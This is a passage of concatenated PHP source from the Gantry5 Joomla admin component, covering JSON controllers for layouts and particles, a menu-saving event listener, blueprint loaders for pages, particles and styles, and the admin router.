"fa-vimeo-square", "fa-vine", "fa-vk",
"fa-wechat", "fa-weibo", "fa-weixin",
"fa-whatsapp", "fa-wikipedia-w",
"fa-windows", "fa-wordpress",
"fa-wpbeginner", "fa-wpexplorer",
"fa-wpforms", "fa-xing", "fa-xing-square",
"fa-y-combinator", "fa-y-combinator-square",
"fa-yahoo", "fa-yc", "fa-yc-square",
"fa-yelp", "fa-yoast", "fa-youtube",
"fa-youtube-play", "fa-youtube-square",
"fa-ambulance", "fa-h-square", "fa-heart",
"fa-heart-o", "fa-heartbeat",
"fa-hospital-o", "fa-medkit",
"fa-plus-square", "fa-stethoscope",
"fa-user-md", "fa-wheelchair",
"fa-wheelchair-alt"];
$options = [
'fw' => 'Fixed Width',
'spin' => 'Spinning',
'larger' => ['' => '- Size -
', 'lg' => 'Large', '2x' =>
'2x', '3x' => '3x', '4x' =>
'4x', '5x' => '5x'],
'rotation' => ['' => '- Rotation
-', 'flip-horizontal' => 'Horizontal Flip',
'flip-vertical' => 'Vertical Flip',
'rotate-90' => 'Rotate 90°', 'rotate-180'
=> 'Rotate 180°', 'rotate-270' => 'Rotate
270°']
];
$list = array_unique($list);
sort($list);
$response['html'] =
$this->render('@gantry-admin/ajax/icons.html.twig',
['icons' => $list, 'options' => $options,
'total' => count($list)]);
return new JsonResponse($response);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Response\JsonResponse;
/**
* Class Layouts
* @package Gantry\Admin\Controller\Json
*/
class Layouts extends JsonController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index',
'/*' => 'index',
'/particle' => 'particle'
],
'POST' => [
'/' => 'index',
'/*' => 'index',
'/particle' => 'particle'
]
];
public function index()
{
$path = implode('/', func_get_args());
$post = $this->request->request;
$outline = $post['outline'];
$type = $post['type'];
$subtype = $post['subtype'];
$inherit = $post['inherit'];
$clone = $post['mode'] === 'clone';
$id = $post['id'];
$this->container['outline'] = $outline;
$this->container['configuration'] = $outline;
$layout = Layout::instance($outline);
if ($inherit) {
$layout->inheritAll();
}
if ($path == 'list' &&
!$layout->isLayoutType($type)) {
$instance = $this->getParticleInstances($outline, $subtype,
null);
$id = $instance['selected'];
}
$item = $layout->find($id);
$type = isset($item->type) ? $item->type : $type;
$subtype = isset($item->subtype) ? $item->subtype : $subtype;
$item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];
$block = $layout->block($id);
$block = isset($block->attributes) ? (array)
$block->attributes : [];
$params = [
'gantry' => $this->container,
'parent' => 'settings',
'route' =>
"configurations.{$outline}.settings",
'inherit' => $inherit ? $outline : null,
];
if ($layout->isLayoutType($type)) {
$name = $type;
$particle = false;
$defaults = [];
$blueprints =
BlueprintForm::instance("layout/{$name}.yaml",
'gantry-admin://blueprints');
} else {
$name = $subtype;
$particle = true;
$defaults =
$this->container['config']->get("particles.{$name}");
$item->attributes = $item->attributes + $defaults;
$blueprints =
$this->container['particles']->getBlueprintForm($name);
$blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
}
$paramsParticle = [
'title' => isset($item->title) ?
$item->title : '',
'blueprints' =>
$blueprints->get('form'),
'item' => $item,
'data' => ['particles' =>
[$name => $item->attributes]],
'defaults' => ['particles' =>
[$name => $defaults]],
'prefix' => "particles.{$name}.",
'editable' => $particle,
'overrideable' => $particle,
'skip' => ['enabled']
] + $params;
$html['g-settings-particle'] =
$this->render('@gantry-admin/pages/configurations/layouts/particle-card.html.twig',
$paramsParticle);
$html['g-settings-block-attributes'] =
$this->renderBlockFields($block, $params);
if ($path == 'list') {
$html['g-inherit-particle'] =
$this->renderParticlesInput($inherit || $clone ? $outline : null,
$subtype, $post['selected']);
}
return new JsonResponse(['json' => $item,
'html' => $html]);
}
public function particle()
{
$post = $this->request->request;
$outline = $post['outline'];
$id = $post['id'];
$this->container['outline'] = $outline;
$this->container['configuration'] = $outline;
$layout = Layout::instance($outline);
$particle = clone $layout->find($id);
if (!isset($particle->type)) {
throw new \RuntimeException('Particle was not found from
the outline', 404);
}
$particle->block = $layout->block($id);
$name = $particle->subtype;
$prefix = "particles.{$name}";
$defaults = (array)
$this->container['config']->get($prefix);
$attributes = (array) $particle->attributes + $defaults;
$particleBlueprints =
$this->container['particles']->getBlueprintForm($name);
$particleBlueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
$blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
// TODO: Use blueprints to merge configuration.
$particle->attributes = (object) $attributes;
$this->params['id'] = $name;
$this->params += [
'extra' => $blockBlueprints,
'item' => $particle,
'data' => ['particles' =>
[$name => $attributes]],
'defaults' => ['particles' =>
[$name => $defaults]],
'prefix' => "particles.{$name}.",
'particle' => $particleBlueprints,
'parent' => 'settings',
'route' =>
"configurations.{$outline}.settings",
'action' => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
'skip' => ['enabled'],
'editable' => false,
'overrideable' => true,
];
$html =
$this->render('@gantry-admin/pages/configurations/layouts/particle-preview.html.twig',
$this->params);
return new JsonResponse(['html' => $html]);
}
/**
* Render block settings.
*
* @param array $block
* @param array $params
* @return string
*/
protected function renderBlockFields(array $block, array $params)
{
$blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
$paramsBlock = [
'title' =>
$this->container['translator']->translate('GANTRY5_PLATFORM_BLOCK'),
'blueprints' => ['fields' =>
$blockBlueprints->get('form/fields/block_container/fields')],
'data' => ['block' => $block],
'prefix' => 'block.',
] + $params;
return
$this->render('@gantry-admin/forms/fields.html.twig',
$paramsBlock);
}
/**
* Gets the list of available particle instances for an outline
*
* @param string $outline
* @param string $particle
* @param string $selected
* @return string
*/
protected function getParticleInstances($outline, $particle, $selected)
{
$list = $outline ?
$this->container['outlines']->getParticleInstances($outline,
$particle, false) : [];
$selected = isset($list[$selected]) ? $selected : key($list);
return ['list' => $list, 'selected' =>
$selected];
}
/**
* Render input field for particle picker.
*
* @param string $outline
* @param string $particle
* @param string $selected
* @return string
*/
protected function renderParticlesInput($outline, $particle, $selected)
{
$instances = $this->getParticleInstances($outline, $particle,
$selected);
$params = [
'layout' => 'input',
'scope' => 'inherit.',
'field' => [
'name' => 'particle',
'type' => 'gantry.particles',
'id' => 'g-inherit-particle',
'outline' => $outline,
'particles' => $instances['list'],
'particle' => $particle
],
'value' => $instances['selected']
];
return
$this->render('@gantry-admin/forms/fields/gantry/particles.html.twig',
$params);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
class Particle extends JsonController
{
protected $httpVerbs = [
'GET' => [
'/' =>
'selectParticle',
'/module' => 'selectModule'
],
'POST' => [
'/' => 'undefined',
'/*' => 'particle',
'/*/validate' => 'validate',
],
'PUT' => [
'/*' => 'replace'
],
'PATCH' => [
'/*' => 'update'
],
'DELETE' => [
'/*' => 'destroy'
]
];
/**
* Return a modal for selecting a particle.
*
* @return string
*/
public function selectParticle()
{
$groups = [
'Particles' => ['particle' => []],
];
$particles = [
'position' => [],
'spacer' => [],
'system' => [],
'particle' => [],
];
$particles = array_replace($particles, $this->getParticles());
unset($particles['atom'],
$particles['position']);
foreach ($particles as &$group) {
asort($group);
}
foreach ($groups as $section => $children) {
foreach ($children as $key => $child) {
$groups[$section][$key] = $particles[$key];
}
}
$this->params['particles'] = $groups;
return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params)]);
}
/**
* Return a modal content for selecting module.
*
* @return mixed
*/
public function selectModule()
{
return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/module-picker.html.twig',
$this->params)]);
}
/**
* Return form for the particle (filled with data coming from POST).
*
* @param string $name
* @return mixed
*/
public function particle($name)
{
$data = $this->request->post['item'];
if ($data) {
$data = json_decode($data, true);
} else {
$data = $this->request->post->getArray();
}
// TODO: add support for other block types as well, like menu.
// $block = BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Load particle blueprints and default settings.
$validator = $this->loadBlueprints('menu');
$callable = function () use ($validator) {
return $validator;
};
// Create configuration from the defaults.
$item = new Config($data, $callable);
$item->def('type', 'particle');
$item->def('title',
$blueprints->get('name'));
$item->def('options.type',
$blueprints->get('type', 'particle'));
$item->def('options.particle', []);
$item->def('options.block', []);
$this->params += [
'item' => $item,
// 'block' => $block,
'data' => ['particles' =>
[$name => $item->options['particle']]],
'particle' => $blueprints,
'parent' => 'settings',
'prefix' => "particles.{$name}.",
'route' =>
"configurations.default.settings",
'action' =>
"particle/{$name}/validate"
];
return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/particle.html.twig',
$this->params)]);
}
/**
* Validate data for the particle.
*
* @param string $name
* @return JsonResponse
*/
public function validate($name)
{
// Load particle blueprints and default settings.
$validator = new BlueprintSchema;
$validator->embed('options',
$this->container['particles']->get($name));
$blueprints =
$this->container['particles']->getBlueprintForm($name);
// Create configuration from the defaults.
$data = new Config([],
function () use ($validator) {
return $validator;
}
);
$data->set('type', 'particle');
$data->set('particle', $name);
$data->set('title',
$this->request->post['title'] ?:
$blueprints->get('name'));
$data->set('options.particle',
$this->request->post->getArray("particles.{$name}"));
$data->def('options.particle.enabled', 1);
$block =
$this->request->post->getArray('block');
foreach ($block as $key => $param) {
if ($param === '') {
unset($block[$key]);
}
}
if ($block) {
$data->join('options.block', $block);
}
// TODO: validate
// Fill parameters to be passed to the template file.
$this->params['item'] = (object) $data->toArray();
return new JsonResponse(['item' =>
$data->toArray()]);
}
protected function getParticles()
{
$particles = $this->container['particles']->all();
$list = [];
foreach ($particles as $name => $particle) {
$type = isset($particle['type']) ?
$particle['type'] : 'particle';
$particleName = isset($particle['name']) ?
$particle['name'] : $name;
$particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
$list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
}
return $list;
}
/**
* Load blueprints.
*
* @param string $name
*
* @return BlueprintForm
*/
protected function loadBlueprints($name = 'menu')
{
return BlueprintForm::instance("menu/{$name}.yaml",
'gantry-admin://blueprints');
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
class Unsaved extends JsonController
{
protected $httpVerbs = [
'GET' => [
'/' => 'index'
]
];
public function index()
{
$response = ['html' =>
$this->render('@gantry-admin/ajax/unsaved.html.twig')];
return new JsonResponse($response);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Admin;
use Gantry\Component\Layout\Layout;
use Gantry\Joomla\CacheHelper;
use Gantry\Joomla\Manifest;
use Gantry\Joomla\StyleHelper;
use Joomla\Registry\Registry;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\Event\EventSubscriberInterface;
use RocketTheme\Toolbox\File\IniFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class EventListener implements EventSubscriberInterface
{
public static function getSubscribedEvents()
{
return [
'admin.init.theme' =>
['onAdminThemeInit', 0],
'admin.global.save' => ['onGlobalSave',
0],
'admin.styles.save' => ['onStylesSave',
0],
'admin.settings.save' =>
['onSettingsSave', 0],
'admin.layout.save' => ['onLayoutSave',
0],
'admin.assignments.save' =>
['onAssignmentsSave', 0],
'admin.menus.save' => ['onMenusSave', 0]
];
}
public function onAdminThemeInit(Event $event)
{
\JPluginHelper::importPlugin('gantry5');
// Trigger the onGantryThemeInit event.
$dispatcher = \JEventDispatcher::getInstance();
$dispatcher->trigger('onGantry5AdminInit',
['theme' => $event->theme]);
}
public function onGlobalSave(Event $event)
{
\JPluginHelper::importPlugin('gantry5');
// Trigger the onGantryThemeUpdateCss event.
$dispatcher = \JEventDispatcher::getInstance();
$dispatcher->trigger('onGantry5SaveConfig',
[$event->data]);
}
public function onStylesSave(Event $event)
{
\JPluginHelper::importPlugin('gantry5');
// Trigger the onGantryThemeUpdateCss event.
$dispatcher = \JEventDispatcher::getInstance();
$dispatcher->trigger('onGantry5UpdateCss',
['theme' => $event->theme]);
}
public function onSettingsSave(Event $event)
{
}
public function onLayoutSave(Event $event)
{
/** @var Layout $layout */
$layout = $event->layout;
if ($layout->name[0] !== '_' &&
$layout->name !== 'default') {
$preset = isset($layout->preset['name']) ?
$layout->preset['name'] : 'default';
// Update Joomla template style.
StyleHelper::update($layout->name, $preset);
}
$theme = $event->gantry['theme.name'];
$positions =
$event->gantry['outlines']->positions();
$positions['debug'] = 'Debug';
$manifest = new Manifest($theme);
$manifest->setPositions(array_keys($positions));
$manifest->save();
$translations = [];
foreach ($positions as $key => $translation) {
// Encode translation key in Joomla way.
$key = preg_replace('/[^A-Z0-9_\-]/', '_',
strtoupper("TPL_{$theme}_POSITION_{$key}"));
$translations[$key] = $translation;
}
/** @var UniformResourceLocator $locator */
$locator = $event->gantry['locator'];
$filename =
"gantry-theme://language/en-GB/en-GB.tpl_{$theme}_positions.ini";
$ini = IniFile::instance($locator->findResource($filename, true,
true));
$ini->save($translations);
$ini->free();
}
public function onAssignmentsSave(Event $event)
{
}
public function onMenusSave(Event $event)
{
$defaults = [
'id' => 0,
'layout' => 'list',
'target' => '_self',
'dropdown' => '',
'icon' => '',
'image' => '',
'subtitle' => '',
'icon_only' => false,
'visible' => true,
'group' => 0,
'columns' => [],
'link_title' => '',
'hash' => '',
'class' => ''
];
$gantry = $event->gantry;
$menu = $event->menu;
// Save global menu settings into Joomla.
/** @var \JTableMenuType $table */
$menuType = \JTable::getInstance('MenuType');
if (!$menuType->load(['menutype' =>
$event->resource])) {
throw new \RuntimeException("Saving menu failed: Menu type
{$event->resource} not found.", 400);
}
$options = [
'title' => $menu['settings.title'],
'description' =>
$menu['settings.description']
];
if ($gantry->authorize('menu.edit') &&
!$menuType->save($options)) {
throw new \RuntimeException('Saving menu failed: '.
$menuType->getError(), 400);
}
unset($menu['settings']);
/** @var \JTableMenu $table */
$table = \JTable::getInstance('menu');
foreach ($menu['items'] as $key => $item) {
$id = !empty($item['id']) ? (int)
$item['id'] : 0;
if ($id && $table->load($item['id'])) {
$params = new Registry($table->params);
// Menu item exists in Joomla, let's update it
instead.
unset($item['type'], $item['link']);
$item['id'] = (int) $id;
$title = $menu["items.{$key}.title"];
$browserNav = intval($menu["items.{$key}.target"]
=== '_blank');
$options = [
// Disabled as the option has different meaning in
Joomla than in Gantry, see issue #1656.
// 'menu-anchor_css' =>
$menu["items.{$key}.class"],
'menu_image' =>
$menu["items.{$key}.image"],
'menu_text' =>
intval(!$menu["items.{$key}.icon_only"]),
'menu_show' =>
intval($menu["items.{$key}.enabled"]),
];
$modified = false;
if ($table->title != $title) {
$table->title = $title;
$modified = true;
}
if ($table->browserNav != $browserNav) {
$table->browserNav = $browserNav;
$modified = true;
}
foreach ($options as $var => $value) {
if ($params->get($var) !== $value) {
$params->set($var, $value);
$modified = true;
}
}
if ($modified &&
$gantry->authorize('menu.edit')) {
$table->params = (string) $params;
if (!$table->check() || !$table->store()) {
throw new \RuntimeException("Failed to save
/{$key}: {$table->getError()}", 400);
}
}
// Avoid saving values which are also stored in Joomla.
unset($item['title'],
$item['anchor_class'], $item['image'],
$item['icon_only'], $item['target']);
if (version_compare(JVERSION, '3.5.1',
'>=')) {
unset($item['enabled']);
}
}
// Do not save default values.
foreach ($defaults as $var => $value) {
if (isset($item[$var]) && $item[$var] == $value) {
unset($item[$var]);
}
}
// Do not save derived values.
unset($item['path'], $item['alias'],
$item['parent_id'], $item['level'],
$item['group']);
// Particles have no link.
if (isset($item['type']) &&
$item['type'] === 'particle') {
unset($item['link']);
}
// Because of ordering we need to save all menu items,
including those from Joomla which have no data except id.
$event->menu["items.{$key}"] = $item;
}
// Clean the cache.
CacheHelper::cleanMenu();
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Page
{
protected $container;
protected $files;
protected $blocks;
public function __construct($container)
{
$this->container = $container;
}
public function all()
{
if (!$this->blocks)
{
$files = $this->locateBlocks();
$this->blocks = [];
foreach ($files as $key => $fileArray) {
$filename = key($fileArray);
$file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
$this->blocks[$key] = $file->content();
$file->free();
}
}
return $this->blocks;
}
public function group()
{
$blocks = $this->all();
$list = [];
foreach ($blocks as $name => $setting) {
$type = isset($setting['type']) ?
$setting['type'] : '';
$list[$type][$name] = $setting;
}
return $this->sort($list);
}
public function get($id)
{
if ($this->blocks[$id]) {
return $this->blocks[$id];
}
$files = $this->locateBlocks();
if (empty($files[$id])) {
throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
}
$filename = key($files[$id]);
$file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
$setting = $file->content();
$file->free();
return $setting;
}
/**
* @param string $id
* @return BlueprintForm
*/
public function getBlueprintForm($id)
{
return BlueprintForm::instance($id,
'gantry-blueprints://page');
}
protected function sort(array $blocks)
{
$list = [];
/** @var SiteTheme $theme */
$theme = $this->container['theme'];
$ordering = (array) $theme->details()['admin.page'];
if (!count($ordering)) {
$ordering = ['global' => ['head',
'assets', 'body', 'generics']];
}
ksort($blocks);
foreach ($ordering as $name => $order) {
if (isset($blocks[$name])) {
$list[$name] = $this->sortItems($blocks[$name], (array)
$order);
}
}
$list += $blocks;
return $list;
}
protected function sortItems(array $items, array $ordering)
{
$list = [];
ksort($items);
foreach ($ordering as $name) {
if (isset($items[$name])) {
$list[$name] = $items[$name];
}
}
$list += $items;
return $list;
}
protected function locateBlocks()
{
if (!$this->files) {
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$paths =
$locator->findResources('gantry-blueprints://page');
$this->files = (new ConfigFileFinder)->listFiles($paths);
}
return $this->files;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Particles
{
protected $container;
protected $files;
protected $particles;
public function __construct($container)
{
$this->container = $container;
}
public function overrides($outline, $particle = null)
{
if ($outline === 'default') {
return true;
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
if ($particle) {
// PHP 5.4
$resource =
$locator->findResources("gantry-theme://config/{$outline}/particles/{$particle}.yaml");
return !empty($resource);
}
// PHP 5.4
$resource =
$locator->findResources("gantry-theme://config/{$outline}/particles");
return !empty($resource);
}
public function all()
{
if (null === $this->particles) {
$platform = $this->container['platform'];
$files = $this->locateParticles();
$this->particles = [];
foreach ($files as $key => $fileArray) {
$filename = key($fileArray);
$file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
$particle = $file->content();
$file->free();
if (!isset($particle['dependencies']) ||
$platform->checkDependencies($particle['dependencies'])) {
$this->particles[$key] = $particle;
}
}
}
return $this->particles;
}
public function group($exclude = [])
{
$particles = $this->all();
$list = [];
foreach ($particles as $name => $particle) {
$type = isset($particle['type']) ?
$particle['type'] : 'particle';
if (in_array($type, $exclude)) {
continue;
}
if (in_array($type, ['spacer', 'system']))
{
$type = 'position';
}
$list[$type][$name] = $particle;
}
return $this->sort($list);
}
public function get($id)
{
if (isset($this->particles[$id])) {
return $this->particles[$id];
}
$files = $this->locateParticles();
if (empty($files[$id])) {
throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
}
$filename = key($files[$id]);
$file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
$particle = $file->content();
$particle['subtype'] = $id; // TODO: can this be done
better or is it fine like that?
$file->free();
return $particle;
}
/**
* @param string $id
* @return BlueprintForm
*/
public function getBlueprintForm($id)
{
return BlueprintForm::instance($id,
'gantry-blueprints://particles');
}
protected function sort(array $blocks)
{
$list = [];
/** @var SiteTheme $theme */
$theme = $this->container['theme'];
$ordering = (array)
$theme->details()['admin.settings'] ?: [
'particle' => [],
'position' => ['position',
'spacer', 'messages', 'content'],
'atom' => []
];
ksort($blocks);
foreach ($ordering as $name => $order) {
if (isset($blocks[$name])) {
$list[$name] = $this->sortItems($blocks[$name], (array)
$order);
}
}
$list += $blocks;
return $list;
}
protected function sortItems(array $items, array $ordering)
{
$list = [];
ksort($items);
foreach ($ordering as $name) {
if (isset($items[$name])) {
$list[$name] = $items[$name];
}
}
$list += $items;
return $list;
}
protected function locateParticles()
{
if (!$this->files) {
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$paths =
$locator->findResources('gantry-blueprints://particles');
$this->files = (new ConfigFileFinder)->listFiles($paths);
}
return $this->files;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Admin;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Request\Request;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Router\Router as BaseRouter;
use Gantry\Joomla\StyleHelper;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Gantry administration router for Joomla.
*/
class Router extends BaseRouter
{
public function boot()
{
\JHtml::_('behavior.keepalive');
$app = \JFactory::getApplication();
$input = $app->input;
// TODO: Remove style variable.
$style = $input->getInt('style');
$theme = $input->getCmd('theme');
$path = array_filter(explode('/',
$input->getString('view', '')), function($var) {
return $var !== ''; });
$this->setTheme($theme, $style);
/** @var Request $request */
$request = $this->container['request'];
$this->method = $request->getMethod();
$this->path = $path ?:
(isset($this->container['theme.name']) ?
['configurations', true] : ['themes']);
$this->resource = array_shift($this->path);
$this->format = $input->getCmd('format',
'html');
$ajax = ($this->format == 'json');
$this->params = [
'user' => \JFactory::getUser(),
'ajax' => $ajax,
'location' => $this->resource,
'method' => $this->method,
'format' => $this->format,
'params' =>
$request->post->getJsonArray('params')
];
return $this;
}
public function setTheme($theme, $style)
{
if ($style) {
\JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
$table = \JTable::getInstance('Style',
'TemplatesTable');
$table->load(['id' => $style,
'client_id' => 0]);
$theme = $table->template;
}
if (!$theme) {
$theme = StyleHelper::getDefaultStyle()->template;
}
$path = JPATH_SITE . '/templates/' . $theme;
if (!is_file("{$path}/gantry/theme.yaml")) {
$theme = null;
$this->container['streams']->register();
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
CompiledYamlFile::$defaultCaching =
$this->container['global']->get('compile_yaml',
1);
}
$this->container['base_url'] = \JUri::base(true) .
'/index.php?option=com_gantry5';
$this->container['ajax_suffix'] =
'&format=json';
$token = \JSession::getFormToken();
$this->container['routes'] = [
'1' =>
"&view=%s&theme={$theme}&{$token}=1",
'themes' => '&view=themes',
'picker/layouts' =>
"&view=layouts&theme={$theme}&{$token}=1",
];
if (!$theme) {
return $this;
}
$this->container['theme.path'] = $path;
$this->container['theme.name'] = $theme;
// Load language file for the template.
$languageFile = 'tpl_' . $theme;
$lang = \JFactory::getLanguage();
$lang->load($languageFile, JPATH_SITE)
|| $lang->load($languageFile, $path)
|| $lang->load($languageFile, $path, 'en-GB');
return $this;
}
protected function checkSecurityToken()
{
return \JSession::checkToken('get');
}
/**
* Send response to the client.
*
* @param Response $response
* @return string
*/
protected function send(Response $response)
{
$app = \JFactory::getApplication();
$document = \JFactory::getDocument();
$document->setCharset($response->charset);
$document->setMimeEncoding($response->mimeType);
// Output HTTP header.
$app->setHeader('Status', $response->getStatus());
$app->setHeader('Content-Type', $response->mimeType
. '; charset=' . $response->charset);
foreach ($response->getHeaders() as $key => $values) {
$replace = true;
foreach ($values as $value) {
$app->setHeader($key, $value, $replace);
$replace = false;
}
}
if ($response instanceof JsonResponse) {
$app->setHeader('Expires', 'Wed, 17 Aug 2005
00:00:00 GMT', true);
$app->setHeader('Last-Modified', gmdate('D, d
M Y H:i:s') . ' GMT', true);
$app->setHeader('Cache-Control', 'no-store,
no-cache, must-revalidate, post-check=0, pre-check=0', false);
$app->setHeader('Pragma', 'no-cache');
$app->sendHeaders();
}
// Output Gantry response.
echo $response;
if ($response instanceof JsonResponse) {
$app->close();
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Styles
{
protected $container;
protected $files;
protected $blocks;
public function __construct($container)
{
$this->container = $container;
}
public function all()
{
if (!$this->blocks)
{
$files = $this->locateBlocks();
$this->blocks = [];
foreach ($files as $key => $fileArray) {
$filename = key($fileArray);
$file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
$this->blocks[$key] = $file->content();
$file->free();
}
}
return $this->blocks;
}
public function group()
{
$blocks = $this->all();
$list = [];
foreach ($blocks as $name => $style) {
$type = isset($style['type']) ?
$style['type'] : 'block';
$list[$type][$name] = $style;
}
return $this->sort($list);
}
public function get($id)
{
if ($this->blocks[$id]) {
return $this->blocks[$id];
}
$files = $this->locateBlocks();
if (empty($files[$id])) {
throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
}
$filename = key($files[$id]);
$file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
$particle = $file->content();
$file->free();
return $particle;
}
/**
* @param string $id
* @return BlueprintForm
*/
public function getBlueprintForm($id)
{
return BlueprintForm::instance($id,
'gantry-blueprints://styles');
}
protected function sort(array $blocks)
{
$list = [];
/** @var SiteTheme $theme */
$theme = $this->container['theme'];
$ordering = (array) $theme->details()['admin.styles'];
ksort($blocks);
foreach ($ordering as $name => $order) {
if (isset($blocks[$name])) {
$list[$name] = $this->sortItems($blocks[$name], (array)
$order);
}
}
$list += $blocks;
return $list;
}
protected function sortItems(array $items, array $ordering)
{
$list = [];
ksort($items);
foreach ($ordering as $name) {
if (isset($items[$name])) {
$list[$name] = $items[$name];
}
}
$list += $items;
return $list;
}
protected function locateBlocks()
{
if (!$this->files) {
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$paths =
$locator->findResources('gantry-blueprints://styles');
$this->files = (new ConfigFileFinder)->listFiles($paths);
}
return $this->files;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Admin;
use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Theme\AbstractTheme;
use Gantry\Framework\Platform;
